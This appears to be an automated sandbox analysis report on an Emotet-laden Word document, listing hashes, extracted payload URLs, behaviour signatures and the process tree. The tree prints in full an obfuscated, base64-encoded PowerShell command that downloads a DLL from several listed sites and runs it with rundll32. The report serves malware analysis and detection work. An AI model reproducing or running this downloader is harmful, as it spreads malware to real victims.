Analysis
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max time kernel
85s -
max time network
144s -
platform
windows7_x64 -
resource
win7v20201028 -
submitted
12-01-2021 20:35
Static task
static1
Behavioral task
behavioral1
Sample
emotet_e2_1c5577ae92907b0a10a1bef6a52aad25cc73e79b523c737d07e2f012009d7eb7_2021-01-12__203324988791._doc.doc
Resource
win7v20201028
Behavioral task
behavioral2
Sample
emotet_e2_1c5577ae92907b0a10a1bef6a52aad25cc73e79b523c737d07e2f012009d7eb7_2021-01-12__203324988791._doc.doc
Resource
win10v20201028
General
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Target
emotet_e2_1c5577ae92907b0a10a1bef6a52aad25cc73e79b523c737d07e2f012009d7eb7_2021-01-12__203324988791._doc.doc
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Size
157KB
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MD5
2536622d07ca15aeeabd3a8e6f5f5a7b
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SHA1
e1282308631744f22e098a07debd658acd4ffa9e
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SHA256
1c5577ae92907b0a10a1bef6a52aad25cc73e79b523c737d07e2f012009d7eb7
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SHA512
15328d11bc104d4f55dccdc29515f64c48111b16b0bf1fd8bda9a8425dbe177cc7bb5f8686151294ed53cc7aa462f515d8b8344d1ff38ee0bfdd7e24cd15f18e
Malware Config
Extracted
https://shulovbaazar.com/c/bcL6/
https://mybusinessevent.com/tiki-install/e/
http://uhk.cncranes.com/ErrorPages/3/
https://capturetheaction.com.au/wp-includes/Yjp/
https://thenetworker.ca/comment/8N4/
https://trayonlinegh.com/cgi-bin/HBPR/
http://mmo.martinpollock.co.uk/a/SQSGg/
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
cmd.exedescription pid pid_target process target process Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 1620 1740 cmd.exe -
Blocklisted process makes network request 6 IoCs
Processes:
powershell.exerundll32.exeflow pid process 7 1344 powershell.exe 9 1344 powershell.exe 11 1344 powershell.exe 13 1716 rundll32.exe 16 1716 rundll32.exe 17 1716 rundll32.exe -
Loads dropped DLL 4 IoCs
Processes:
rundll32.exepid process 1900 rundll32.exe 1900 rundll32.exe 1900 rundll32.exe 1900 rundll32.exe -
Drops file in System32 directory 2 IoCs
Processes:
powershell.exerundll32.exedescription ioc process File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\SysWOW64\Lnexmkudc\esdkhwxy.pje rundll32.exe -
Drops file in Windows directory 1 IoCs
Processes:
WINWORD.EXEdescription ioc process File opened for modification C:\Windows\Debug\WIA\wiatrace.log WINWORD.EXE -
Office loads VBA resources, possible macro or embedded object present
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Processes:
WINWORD.EXEdescription ioc process Set value (int) \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000" WINWORD.EXE Set value (int) \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\Toolbar WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\MenuExt WINWORD.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
Processes:
WINWORD.EXEpid process 1676 WINWORD.EXE -
Suspicious behavior: EnumeratesProcesses 5 IoCs
Processes:
powershell.exerundll32.exepid process 1344 powershell.exe 1344 powershell.exe 1716 rundll32.exe 1716 rundll32.exe 1716 rundll32.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 1344 powershell.exe -
Suspicious use of SetWindowsHookEx 2 IoCs
Processes:
WINWORD.EXEpid process 1676 WINWORD.EXE 1676 WINWORD.EXE -
Suspicious use of WriteProcessMemory 23 IoCs
Processes:
cmd.exepowershell.exerundll32.exerundll32.exedescription pid process target process PID 1620 wrote to memory of 1568 1620 cmd.exe msg.exe PID 1620 wrote to memory of 1568 1620 cmd.exe msg.exe PID 1620 wrote to memory of 1568 1620 cmd.exe msg.exe PID 1620 wrote to memory of 1344 1620 cmd.exe powershell.exe PID 1620 wrote to memory of 1344 1620 cmd.exe powershell.exe PID 1620 wrote to memory of 1344 1620 cmd.exe powershell.exe PID 1344 wrote to memory of 1012 1344 powershell.exe rundll32.exe PID 1344 wrote to memory of 1012 1344 powershell.exe rundll32.exe PID 1344 wrote to memory of 1012 1344 powershell.exe rundll32.exe PID 1012 wrote to memory of 1900 1012 rundll32.exe rundll32.exe PID 1012 wrote to memory of 1900 1012 rundll32.exe rundll32.exe PID 1012 wrote to memory of 1900 1012 rundll32.exe rundll32.exe PID 1012 wrote to memory of 1900 1012 rundll32.exe rundll32.exe PID 1012 wrote to memory of 1900 1012 rundll32.exe rundll32.exe PID 1012 wrote to memory of 1900 1012 rundll32.exe rundll32.exe PID 1012 wrote to memory of 1900 1012 rundll32.exe rundll32.exe PID 1900 wrote to memory of 1716 1900 rundll32.exe rundll32.exe PID 1900 wrote to memory of 1716 1900 rundll32.exe rundll32.exe PID 1900 wrote to memory of 1716 1900 rundll32.exe rundll32.exe PID 1900 wrote to memory of 1716 1900 rundll32.exe rundll32.exe PID 1900 wrote to memory of 1716 1900 rundll32.exe rundll32.exe PID 1900 wrote to memory of 1716 1900 rundll32.exe rundll32.exe PID 1900 wrote to memory of 1716 1900 rundll32.exe rundll32.exe
Processes
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C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e2_1c5577ae92907b0a10a1bef6a52aad25cc73e79b523c737d07e2f012009d7eb7_2021-01-12__203324988791._doc.doc"1⤵
- Drops file in Windows directory
- Modifies Internet Explorer settings
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
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C:\Windows\system32\cmd.execmd cmd cmd cmd /c msg %username% /v Word experienced an error trying to open the file. & P^Ow^er^she^L^L -w hidden -ENCOD JAAwAGUAMgB0AGsAPQBbAHQAeQBQAGUAXQAoACIAewAyAH0AewAxAH0AewAwAH0AewAzAH0AewA0AH0AIgAtAGYAJwBJACcALAAnAG0ALgAnACwAJwBTAHkAcwB0AEUAJwAsACcAbwAuAEQAaQAnACwAJwByAGUAQwBUAG8AcgB5ACcAKQA7ACAAcwBlAHQALQBpAHQARQBNACAAIAB2AEEAcgBpAGEAYgBMAEUAOgB3AGQAOAAgACAAKAAgAFsAVAB5AFAAZQBdACgAIgB7ADEAfQB7ADIAfQB7ADAAfQB7ADMAfQB7ADQAfQAiACAALQBmACcAVgBJAGMARQBQAE8AaQBOAHQATQBhAG4AYQAnACwAJwBTAHkAUwB0ACcALAAnAGUATQAuAE4ARQB0AC4AcwBlAFIAJwAsACcAZwAnACwAJwBFAHIAJwApACkAIAA7ACQARQByAHIAbwByAEEAYwB0AGkAbwBuAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA9ACAAKAAoACcAUwBpAGwAZQAnACsAJwBuACcAKQArACgAJwB0AGwAeQBDAG8AJwArACcAbgAnACkAKwAnAHQAJwArACgAJwBpAG4AJwArACcAdQBlACcAKQApADsAJABOADMAMQA3ADYAYwByAD0AJABRADIANQBVACAAKwAgAFsAYwBoAGEAcgBdACgANgA0ACkAIAArACAAJABWADkANgBSADsAJABDAF8AMQBRAD0AKAAnAE0AOQAnACsAJwA1AEkAJwApADsAIAAgACgAIAAgAFYAYQByAEkAQQBCAEwAZQAgACAAMABFADIAdABLACAAKQAuAHYAYQBMAFUARQA6ADoAIgBjAHIARQBBAFQAZQBEAGAASQBSAGUAQwBgAFQATwBSAFkAIgAoACQASABPAE0ARQAgACsAIAAoACgAKAAnAEIASgBsAFcAZAAnACsAJwBkACcAKQArACgAJwB1AHkAMgAnACsAJwBtAEIAJwApACsAJwBKACcAKwAoACcAbABUAG0AYwAnACsAJwAxACcAKQArACgAJwBrACcAKwAnAHUAbwAnACkAKwAnAEIASgAnACsAJwBsACcAKQAuACIAUgBFAGAAcABgAEwAYQBjAEUAIgAoACgAJwBCACcAKwAnAEoAbAAnACkALAAnAFwAJwApACkAKQA7ACQATgA3ADMAUAA9ACgAJwBLACcAKwAoACcAMAAnACsAJwAzAFYAJwApACkAOwAgACQAVwBEADgAOgA6ACIAcwBgAEUAYABjAFUAUgBpAHQAWQBQAHIATwBUAG8AYwBgAG8AbAAiACAAPQAgACgAJwBUAGwAJwArACgAJwBzACcAKwAnADEAMgAnACkAKQA7ACQAVwBfADUASwA9ACgAKAAnAFQAJwArACcAOAA4ACcAKQArACcASgAnACkAOwAkAEkAeQBxAHgAdgA5AF8AIAA9ACAAKAAoACcASgA3ACcAKwAnADAAJwApACsAJwBIACcAKQA7ACQATAAxADIASwA9ACgAJwBZADAAJwArACcAMwBDACcAKQA7ACQATwBqAGkAaABuAHcAZwA9ACQASABPAE0ARQArACgAKAAoACcAUQBMAE8AVwBkAGQAJwArACcAdQAnACsAJwB5ADIAJwApACsAJwBtACcAKwAoACcAUQBMACcAKwAnAE8AJwApACsAJwBUAG0AJwArACgAJwBjACcAKwAnADEAawB1ACcAKQArACgAJwBvAFEATAAnACsAJwBPACcAKQApAC4AIgBSAGAAZQBQAGwAYQBgAGMAZQAiACgAKABbAGMAaABhAHIAXQA4ADEAKwBbAGMAaABhAHIAXQA3ADYAKwBbAGMAaABhAHIAXQA3ADkAKQAsACcAXAAnACkAKQArACQASQB5AHEAeAB2ADkAXwArACgAKAAnAC4AJwArACcAZABsACcAKQArACcAbAAnACkAOwAkAEEAMAA5AEwAPQAoACcAWAAnACsAKAAnADYAOAAnACsAJwBLACcAKQApADsAJABYADQAXwAxAHEAOABxAD0AKAAnAHcAXQAnACsAJwB4AG0AJwArACgAJwBbAHYAJwArACcAcwA6AC8ALwAnACsAJwBzAGgAdQBsACcAKQArACcAbwAnACsAKAAnAHYAJwArACcAYgBhAGEAJwArACcAegBhAHIALgBjAG8AbQAnACkAKwAnAC8AJwArACcAYwAnACsAKAAnAC8AJwArACcAYgBjAEwANgAvACcAKQArACgAJwBAACcAKwAnAHcAXQB4AG0AJwApACsAKAAnAFsAdgAnACsAJwBzACcAKQArACcAOgAvACcAKwAoACcALwBtACcAKwAnAHkAYgAnACkAKwAoACcAdQBzACcAKwAnAGkAJwApACsAKAAnAG4AZQBzAHMAJwArACcAZQAnACsAJwB2AGUAbgAnACkAKwAoACcAdAAnACsAJwAuAGMAbwBtACcAKQArACgAJwAvAHQAaQAnACsAJwBrAGkAJwApACsAKAAnAC0AJwArACcAaQBuACcAKQArACgAJwBzAHQAYQAnACsAJwBsACcAKwAnAGwAJwArACcALwBlAC8AQAAnACkAKwAoACcAdwBdAHgAbQAnACsAJwBbAHYAJwArACcAOgAnACkAKwAoACcALwAvAHUAJwArACcAaABrACcAKwAnAC4AYwBuACcAKQArACgAJwBjAHIAJwArACcAYQBuAGUAcwAnACkAKwAnAC4AYwAnACsAKAAnAG8AJwArACcAbQAvACcAKQArACgAJwBFACcAKwAnAHIAcgAnACkAKwAnAG8AJwArACgAJwByACcAKwAnAFAAYQBnAGUAcwAnACkAKwAnAC8AMwAnACsAJwAvACcAKwAnAEAAJwArACgAJwB3AF0AeABtACcAKwAnAFsAdgBzACcAKQArACcAOgAvACcAKwAnAC8AJwArACcAYwBhACcAKwAnAHAAJwArACgAJwB0AHUAcgAnACsAJwBlACcAKwAnAHQAaABlAGEAYwAnACkAKwAnAHQAaQAnACsAJwBvACcAKwAnAG4AJwArACcALgAnACsAKAAnAGMAbwBtAC4AJwArACcAYQB1ACcAKQArACgAJwAvACcAKwAnAHcAcAAtACcAKwAnAGkAbgBjACcAKQArACcAbAB1ACcAKwAnAGQAJwArACgAJwBlAHMAJwArACcALwBZACcAKQArACcAagBwACcAKwAoACcALwBAACcAKwAnAHcAXQAnACsAJwB4AG0AWwB2AHMAOgAnACsAJwAvAC8AdABoACcAKQArACcAZQBuACcAKwAoACcAZQAnACsAJwB0AHcAJwArACcAbwByAGsAJwArACcAZQByAC4AYwAnACkAKwAoACcAYQAnACsAJwAvAGMAJwApACsAJwBvAG0AJwArACcAbQBlACcAKwAnAG4AdAAnACsAJwAvACcAKwAnADgAJwArACcATgA0ACcAKwAnAC8AJwArACcAQAAnACsAJwB3ACcAKwAoACcAXQB4AG0AJwArACcAWwB2ACcAKQArACgAJwBzADoAJwArACcALwAnACkAKwAoACcALwAnACsAJwB0AHIAJwApACsAKAAnAGEAJwArACcAeQBvAG4AbABpAG4AJwApACsAJwBlACcAKwAnAGcAJwArACcAaAAuACcAKwAoACcAYwBvACcAKwAnAG0ALwAnACsAJwBjAGcAaQAtAGIAaQAnACkAKwAoACcAbgAnACsAJwAvAEgAQgBQACcAKwAnAFIALwBAACcAKQArACcAdwBdACcAKwAnAHgAbQAnACsAKAAnAFsAdgAnACsAJwA6AC8ALwBtAG0AbwAnACsAJwAuACcAKQArACgAJwBtACcAKwAnAGEAcgAnACkAKwAnAHQAaQAnACsAKAAnAG4AcABvAGwAbABvACcAKwAnAGMAJwArACcAawAuAGMAbwAuACcAKQArACgAJwB1AGsAJwArACcALwBhAC8AJwArACcAUwBRAFMAJwApACsAJwBHACcAKwAnAGcAJwArACcALwAnACkALgAiAHIAZQBgAFAAYABMAGEAYwBFACIAKAAoACgAJwB3ACcAKwAnAF0AeABtAFsAJwApACsAJwB2ACcAKQAsACgAWwBhAHIAcgBhAHkAXQAoACcAcwBkACcALAAnAHMAdwAnACkALAAoACgAJwBoACcAKwAnAHQAdAAnACkAKwAnAHAAJwApACwAJwAzAGQAJwApAFsAMQBdACkALgAiAFMAcABMAGAAaQBUACIAKAAkAEUANwA3AEsAIAArACAAJABOADMAMQA3ADYAYwByACAAKwAgACQAVQAxADEASAApADsAJABZADgAXwBZAD0AKAAoACcASwA5ACcAKwAnADAAJwApACsAJwBHACcAKQA7AGYAbwByAGUAYQBjAGgAIAAoACQATAB5AHQAdwB6ADIAcwAgAGkAbgAgACQAWAA0AF8AMQBxADgAcQApAHsAdAByAHkAewAoAC4AKAAnAE4AZQAnACsAJwB3AC0ATwAnACsAJwBiAGoAZQBjAHQAJwApACAAUwBZAHMAVABFAG0ALgBuAEUAdAAuAFcAZQBCAEMAbABpAEUATgB0ACkALgAiAGQAbwBXAG4AYABMAGAAbwBBAGQAZgBJAGAATABFACIAKAAkAEwAeQB0AHcAegAyAHMALAAgACQATwBqAGkAaABuAHcAZwApADsAJABaADgAMwBRAD0AKAAnAFgAMAAnACsAJwAzAEcAJwApADsASQBmACAAKAAoACYAKAAnAEcAZQAnACsAJwB0AC0ASQB0AGUAbQAnACkAIAAkAE8AagBpAGgAbgB3AGcAKQAuACIATABgAGUATgBHAHQAaAAiACAALQBnAGUAIAAzADIAOAAxADcAKQAgAHsALgAoACcAcgAnACsAJwB1AG4AZAAnACsAJwBsAGwAMwAyACcAKQAgACQATwBqAGkAaABuAHcAZwAsACgAKAAnAFMAJwArACcAaABvACcAKQArACgAJwB3AEQAaQAnACsAJwBhACcAKwAnAGwAbwAnACkAKwAnAGcAQQAnACkALgAiAHQAYABvAHMAVABSAEkAYABOAGcAIgAoACkAOwAkAFkANgA5AEwAPQAoACcASwA4ACcAKwAnADQAVgAnACkAOwBiAHIAZQBhAGsAOwAkAFYAXwAyAFYAPQAoACcAWAAwACcAKwAnADcAUwAnACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFEANQAxAE8APQAoACgAJwBIACcAKwAnAF8AMwAnACkAKwAnAEcAJwApAA==1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\msg.exemsg Admin /v Word experienced an error trying to open the file.2⤵
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exePOwersheLL -w hidden -ENCOD JAAwAGUAMgB0AGsAPQBbAHQAeQBQAGUAXQAoACIAewAyAH0AewAxAH0AewAwAH0AewAzAH0AewA0AH0AIgAtAGYAJwBJACcALAAnAG0ALgAnACwAJwBTAHkAcwB0AEUAJwAsACcAbwAuAEQAaQAnACwAJwByAGUAQwBUAG8AcgB5ACcAKQA7ACAAcwBlAHQALQBpAHQARQBNACAAIAB2AEEAcgBpAGEAYgBMAEUAOgB3AGQAOAAgACAAKAAgAFsAVAB5AFAAZQBdACgAIgB7ADEAfQB7ADIAfQB7ADAAfQB7ADMAfQB7ADQAfQAiACAALQBmACcAVgBJAGMARQBQAE8AaQBOAHQATQBhAG4AYQAnACwAJwBTAHkAUwB0ACcALAAnAGUATQAuAE4ARQB0AC4AcwBlAFIAJwAsACcAZwAnACwAJwBFAHIAJwApACkAIAA7ACQARQByAHIAbwByAEEAYwB0AGkAbwBuAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA9ACAAKAAoACcAUwBpAGwAZQAnACsAJwBuACcAKQArACgAJwB0AGwAeQBDAG8AJwArACcAbgAnACkAKwAnAHQAJwArACgAJwBpAG4AJwArACcAdQBlACcAKQApADsAJABOADMAMQA3ADYAYwByAD0AJABRADIANQBVACAAKwAgAFsAYwBoAGEAcgBdACgANgA0ACkAIAArACAAJABWADkANgBSADsAJABDAF8AMQBRAD0AKAAnAE0AOQAnACsAJwA1AEkAJwApADsAIAAgACgAIAAgAFYAYQByAEkAQQBCAEwAZQAgACAAMABFADIAdABLACAAKQAuAHYAYQBMAFUARQA6ADoAIgBjAHIARQBBAFQAZQBEAGAASQBSAGUAQwBgAFQATwBSAFkAIgAoACQASABPAE0ARQAgACsAIAAoACgAKAAnAEIASgBsAFcAZAAnACsAJwBkACcAKQArACgAJwB1AHkAMgAnACsAJwBtAEIAJwApACsAJwBKACcAKwAoACcAbABUAG0AYwAnACsAJwAxACcAKQArACgAJwBrACcAKwAnAHUAbwAnACkAKwAnAEIASgAnACsAJwBsACcAKQAuACIAUgBFAGAAcABgAEwAYQBjAEUAIgAoACgAJwBCACcAKwAnAEoAbAAnACkALAAnAFwAJwApACkAKQA7ACQATgA3ADMAUAA9ACgAJwBLACcAKwAoACcAMAAnACsAJwAzAFYAJwApACkAOwAgACQAVwBEADgAOgA6ACIAcwBgAEUAYABjAFUAUgBpAHQAWQBQAHIATwBUAG8AYwBgAG8AbAAiACAAPQAgACgAJwBUAGwAJwArACgAJwBzACcAKwAnADEAMgAnACkAKQA7ACQAVwBfADUASwA9ACgAKAAnAFQAJwArACcAOAA4ACcAKQArACcASgAnACkAOwAkAEkAeQBxAHgAdgA5AF8AIAA9ACAAKAAoACcASgA3ACcAKwAnADAAJwApACsAJwBIACcAKQA7ACQATAAxADIASwA9ACgAJwBZADAAJwArACcAMwBDACcAKQA7ACQATwBqAGkAaABuAHcAZwA9ACQASABPAE0ARQArACgAKAAoACcAUQBMAE8AVwBkAGQAJwArACcAdQAnACsAJwB5ADIAJwApACsAJwBtACcAKwAoACcAUQBMACcAKwAnAE8AJwApACsAJwBUAG0AJwArACgAJwBjACcAKwAnADEAawB1ACcAKQArACgAJwBvAFEATAAnACsAJwBPACcAKQApAC4AIgBSAGAAZQBQAGwAYQBgAGMAZQAiACgAKABbAGMAaABhAHIAXQA4ADEAKwBbAGMAaABhAHIAXQA3ADYAKwBbAGMAaABhAHIAXQA3ADkAKQAsACcAXAAnACkAKQArACQASQB5AHEAeAB2ADkAXwArACgAKAAnAC4AJwArACcAZABsACcAKQArACcAbAAnACkAOwAkAEEAMAA5AEwAPQAoACcAWAAnACsAKAAnADYAOAAnACsAJwBLACcAKQApADsAJABYADQAXwAxAHEAOABxAD0AKAAnAHcAXQAnACsAJwB4AG0AJwArACgAJwBbAHYAJwArACcAcwA6AC8ALwAnACsAJwBzAGgAdQBsACcAKQArACcAbwAnACsAKAAnAHYAJwArACcAYgBhAGEAJwArACcAegBhAHIALgBjAG8AbQAnACkAKwAnAC8AJwArACcAYwAnACsAKAAnAC8AJwArACcAYgBjAEwANgAvACcAKQArACgAJwBAACcAKwAnAHcAXQB4AG0AJwApACsAKAAnAFsAdgAnACsAJwBzACcAKQArACcAOgAvACcAKwAoACcALwBtACcAKwAnAHkAYgAnACkAKwAoACcAdQBzACcAKwAnAGkAJwApACsAKAAnAG4AZQBzAHMAJwArACcAZQAnACsAJwB2AGUAbgAnACkAKwAoACcAdAAnACsAJwAuAGMAbwBtACcAKQArACgAJwAvAHQAaQAnACsAJwBrAGkAJwApACsAKAAnAC0AJwArACcAaQBuACcAKQArACgAJwBzAHQAYQAnACsAJwBsACcAKwAnAGwAJwArACcALwBlAC8AQAAnACkAKwAoACcAdwBdAHgAbQAnACsAJwBbAHYAJwArACcAOgAnACkAKwAoACcALwAvAHUAJwArACcAaABrACcAKwAnAC4AYwBuACcAKQArACgAJwBjAHIAJwArACcAYQBuAGUAcwAnACkAKwAnAC4AYwAnACsAKAAnAG8AJwArACcAbQAvACcAKQArACgAJwBFACcAKwAnAHIAcgAnACkAKwAnAG8AJwArACgAJwByACcAKwAnAFAAYQBnAGUAcwAnACkAKwAnAC8AMwAnACsAJwAvACcAKwAnAEAAJwArACgAJwB3AF0AeABtACcAKwAnAFsAdgBzACcAKQArACcAOgAvACcAKwAnAC8AJwArACcAYwBhACcAKwAnAHAAJwArACgAJwB0AHUAcgAnACsAJwBlACcAKwAnAHQAaABlAGEAYwAnACkAKwAnAHQAaQAnACsAJwBvACcAKwAnAG4AJwArACcALgAnACsAKAAnAGMAbwBtAC4AJwArACcAYQB1ACcAKQArACgAJwAvACcAKwAnAHcAcAAtACcAKwAnAGkAbgBjACcAKQArACcAbAB1ACcAKwAnAGQAJwArACgAJwBlAHMAJwArACcALwBZACcAKQArACcAagBwACcAKwAoACcALwBAACcAKwAnAHcAXQAnACsAJwB4AG0AWwB2AHMAOgAnACsAJwAvAC8AdABoACcAKQArACcAZQBuACcAKwAoACcAZQAnACsAJwB0AHcAJwArACcAbwByAGsAJwArACcAZQByAC4AYwAnACkAKwAoACcAYQAnACsAJwAvAGMAJwApACsAJwBvAG0AJwArACcAbQBlACcAKwAnAG4AdAAnACsAJwAvACcAKwAnADgAJwArACcATgA0ACcAKwAnAC8AJwArACcAQAAnACsAJwB3ACcAKwAoACcAXQB4AG0AJwArACcAWwB2ACcAKQArACgAJwBzADoAJwArACcALwAnACkAKwAoACcALwAnACsAJwB0AHIAJwApACsAKAAnAGEAJwArACcAeQBvAG4AbABpAG4AJwApACsAJwBlACcAKwAnAGcAJwArACcAaAAuACcAKwAoACcAYwBvACcAKwAnAG0ALwAnACsAJwBjAGcAaQAtAGIAaQAnACkAKwAoACcAbgAnACsAJwAvAEgAQgBQACcAKwAnAFIALwBAACcAKQArACcAdwBdACcAKwAnAHgAbQAnACsAKAAnAFsAdgAnACsAJwA6AC8ALwBtAG0AbwAnACsAJwAuACcAKQArACgAJwBtACcAKwAnAGEAcgAnACkAKwAnAHQAaQAnACsAKAAnAG4AcABvAGwAbABvACcAKwAnAGMAJwArACcAawAuAGMAbwAuACcAKQArACgAJwB1AGsAJwArACcALwBhAC8AJwArACcAUwBRAFMAJwApACsAJwBHACcAKwAnAGcAJwArACcALwAnACkALgAiAHIAZQBgAFAAYABMAGEAYwBFACIAKAAoACgAJwB3ACcAKwAnAF0AeABtAFsAJwApACsAJwB2ACcAKQAsACgAWwBhAHIAcgBhAHkAXQAoACcAcwBkACcALAAnAHMAdwAnACkALAAoACgAJwBoACcAKwAnAHQAdAAnACkAKwAnAHAAJwApACwAJwAzAGQAJwApAFsAMQBdACkALgAiAFMAcABMAGAAaQBUACIAKAAkAEUANwA3AEsAIAArACAAJABOADMAMQA3ADYAYwByACAAKwAgACQAVQAxADEASAApADsAJABZADgAXwBZAD0AKAAoACcASwA5ACcAKwAnADAAJwApACsAJwBHACcAKQA7AGYAbwByAGUAYQBjAGgAIAAoACQATAB5AHQAdwB6ADIAcwAgAGkAbgAgACQAWAA0AF8AMQBxADgAcQApAHsAdAByAHkAewAoAC4AKAAnAE4AZQAnACsAJwB3AC0ATwAnACsAJwBiAGoAZQBjAHQAJwApACAAUwBZAHMAVABFAG0ALgBuAEUAdAAuAFcAZQBCAEMAbABpAEUATgB0ACkALgAiAGQAbwBXAG4AYABMAGAAbwBBAGQAZgBJAGAATABFACIAKAAkAEwAeQB0AHcAegAyAHMALAAgACQATwBqAGkAaABuAHcAZwApADsAJABaADgAMwBRAD0AKAAnAFgAMAAnACsAJwAzAEcAJwApADsASQBmACAAKAAoACYAKAAnAEcAZQAnACsAJwB0AC0ASQB0AGUAbQAnACkAIAAkAE8AagBpAGgAbgB3AGcAKQAuACIATABgAGUATgBHAHQAaAAiACAALQBnAGUAIAAzADIAOAAxADcAKQAgAHsALgAoACcAcgAnACsAJwB1AG4AZAAnACsAJwBsAGwAMwAyACcAKQAgACQATwBqAGkAaABuAHcAZwAsACgAKAAnAFMAJwArACcAaABvACcAKQArACgAJwB3AEQAaQAnACsAJwBhACcAKwAnAGwAbwAnACkAKwAnAGcAQQAnACkALgAiAHQAYABvAHMAVABSAEkAYABOAGcAIgAoACkAOwAkAFkANgA5AEwAPQAoACcASwA4ACcAKwAnADQAVgAnACkAOwBiAHIAZQBhAGsAOwAkAFYAXwAyAFYAPQAoACcAWAAwACcAKwAnADcAUwAnACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFEANQAxAE8APQAoACgAJwBIACcAKwAnAF8AMwAnACkAKwAnAEcAJwApAA==2⤵
- Blocklisted process makes network request
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\rundll32.exe"C:\Windows\system32\rundll32.exe" C:\Users\Admin\Wdduy2m\Tmc1kuo\J70H.dll ShowDialogA3⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\rundll32.exe"C:\Windows\system32\rundll32.exe" C:\Users\Admin\Wdduy2m\Tmc1kuo\J70H.dll ShowDialogA4⤵
- Loads dropped DLL
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\rundll32.exeC:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Lnexmkudc\esdkhwxy.pje",ShowDialogA5⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
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C:\Users\Admin\Wdduy2m\Tmc1kuo\J70H.dllMD5
f326ec4d62ffa11f632840bfe3b00dcf
SHA1fec6a7d34214bc3fdc75e15db0de73f53bd25f9f
SHA256a5e9db5a2f26dac0bdef1efdbdef8636e7acf22b6cd6443c349f69b1660658b2
SHA5128b11d48b8c75ab6bd3ae312ca7c881cae5caf9396a2de4407e6177341d789d3af00b65fe1862870f7a7f940716f86994952d41aade33ab4de0170561a44a9109
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\Users\Admin\Wdduy2m\Tmc1kuo\J70H.dllMD5
f326ec4d62ffa11f632840bfe3b00dcf
SHA1fec6a7d34214bc3fdc75e15db0de73f53bd25f9f
SHA256a5e9db5a2f26dac0bdef1efdbdef8636e7acf22b6cd6443c349f69b1660658b2
SHA5128b11d48b8c75ab6bd3ae312ca7c881cae5caf9396a2de4407e6177341d789d3af00b65fe1862870f7a7f940716f86994952d41aade33ab4de0170561a44a9109
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\Users\Admin\Wdduy2m\Tmc1kuo\J70H.dllMD5
f326ec4d62ffa11f632840bfe3b00dcf
SHA1fec6a7d34214bc3fdc75e15db0de73f53bd25f9f
SHA256a5e9db5a2f26dac0bdef1efdbdef8636e7acf22b6cd6443c349f69b1660658b2
SHA5128b11d48b8c75ab6bd3ae312ca7c881cae5caf9396a2de4407e6177341d789d3af00b65fe1862870f7a7f940716f86994952d41aade33ab4de0170561a44a9109
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\Users\Admin\Wdduy2m\Tmc1kuo\J70H.dllMD5
f326ec4d62ffa11f632840bfe3b00dcf
SHA1fec6a7d34214bc3fdc75e15db0de73f53bd25f9f
SHA256a5e9db5a2f26dac0bdef1efdbdef8636e7acf22b6cd6443c349f69b1660658b2
SHA5128b11d48b8c75ab6bd3ae312ca7c881cae5caf9396a2de4407e6177341d789d3af00b65fe1862870f7a7f940716f86994952d41aade33ab4de0170561a44a9109
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\Users\Admin\Wdduy2m\Tmc1kuo\J70H.dllMD5
f326ec4d62ffa11f632840bfe3b00dcf
SHA1fec6a7d34214bc3fdc75e15db0de73f53bd25f9f
SHA256a5e9db5a2f26dac0bdef1efdbdef8636e7acf22b6cd6443c349f69b1660658b2
SHA5128b11d48b8c75ab6bd3ae312ca7c881cae5caf9396a2de4407e6177341d789d3af00b65fe1862870f7a7f940716f86994952d41aade33ab4de0170561a44a9109
